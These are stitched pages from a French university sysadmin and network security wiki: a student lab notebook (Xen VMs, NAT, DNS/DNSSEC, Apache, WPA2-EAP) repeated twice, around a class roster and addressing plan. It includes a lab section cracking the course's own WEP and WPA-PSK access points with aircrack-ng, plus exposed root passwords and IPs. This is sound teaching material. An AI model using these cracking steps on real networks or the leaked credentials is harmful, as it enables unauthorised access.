</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

Et enfin on attend (c'est long si vous vous demander... tres looong faite la suite en attendant :<syntaxhighlight lang="bash">
Aircrack-ng 1.7

[00:35:36] 66631280/100000000 keys tested (30842.35 k/s)

Time left: 18 minutes, 1 second 66.63%

KEY FOUND! [ 66685666 ]

Master Key : EF 69 DE 33 B4 7F AA 9E 20 AB 3C AF F1 F7 3E A8
61 7C 80 F2 3C A9 FE B6 9A 72 98 B3 20 B3 2A A6

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : AD 95 F2 4D 5A 3F 4A 57 CD D8 0E EA A6 14 8B 1A

</syntaxhighlight>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
conf t

aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

</syntaxhighlight>

et l'IP de la E305 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3</code>

Et ensuite sur le routeur :<syntaxhighlight lang="shell">
conf t

ip dhcp pool PoolCedric
network 10.60.5.0 255.255.255.0
dns-server 193.48.57.166
default-router 10.60.5.254
exit

exit
write
</syntaxhighlight><syntaxhighlight lang="shell">
interface Vlan15
description "VLAN personnel de Cedric PAYET (E5) - WPA2-EAP"
ip address 10.60.5.2 255.255.255.0
ipv6 address 2001:660:4401:60a5::2/64
vrrp 15 address-family ipv4
priority 110
address 10.60.5.1 primary
exit-vrrp
end

</syntaxhighlight><syntaxhighlight lang="shell">
conf t
vlan 15
name E5-Cedric
exit
exit
write
</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

SE4 IdO sécurité système/réseau 2025/2026

2026-02-10T16:34:13Z

Cpayet : /* Schéma de câblage */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|-
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|-
| SE4.Solstice|| <code>193.48.57.167</code>|| Mohamed Salhi
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|-
|SALHI
|pont_msalhi
|192.168.20.0/24
|-
|GOURVEST/GHAZALI
|pont_diviseur
|192.168.67.0/24
|-
|YAHIANI / TEPELI
|pontclio
|192.168.7.0/24
|-
|GAUTHIER / SOUOP METSE
|pont_rock
|192.168.50.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|E1-Pierre
|11
|-
|E2-Agathe
|12
|-
|E5-Cedric
|15
|-
|E6-Thomas
|16
|-
|E9-Aurele
|19
|-
|E10-Tom
|20
|-
|E13-Billel
|22
|-
|E14-Antonin
|23
|-
|E15-MSalhi
|25
|-
|E11-Evora
|28
|-
|E12-Gauthier
|21
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
| PoolPierre || <code>10.60.1.0/24</code> || </code>2001:660:4401:60a1::/64</code>
|-
| PoolAgathe || <code>10.60.2.0/24</code> || </code>2001:660:4401:60a2::/64</code>
|-
|PoolCedric
|<code>10.60.5.0/24</code>
|2001:660:4401:60a5::/64
|-
|PoolThomas
|<code>10.60.6.0/24</code>
|2001:660:4401:60a6::/64
|-
|PoolBillel
|<code>10.60.13.0/24</code>
|2001:660:4401:60ad::/64
|-
|PoolAurele
|<code>10.60.9.0/24</code>
|2001:660:4401:60a9::/64
|-
|PoolTom
|<code>10.60.10.0/24</code>
|2001:660:4401:60aa::/64
|-
|PoolSalhi
|<code>10.60.15.0/24</code>
|2001:660:4401:60b1::/64
|-
|PoolAntonin
|<code>10.60.14.0/24</code>
|2001:660:4401:60ae::/64
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 || 172.27.0.1/16
|-
| Routeur C9200-E306 || 172.27.0.2/16
|-
| Borne Wi-Fi E306 || 172.27.0.3/16
|-
| Borne Wi-Fi E304 || 172.27.0.4/16
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

Atelier SysRes SE4 2025/2026 E5

2026-02-10T16:06:14Z

Cpayet : /* Utiles */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
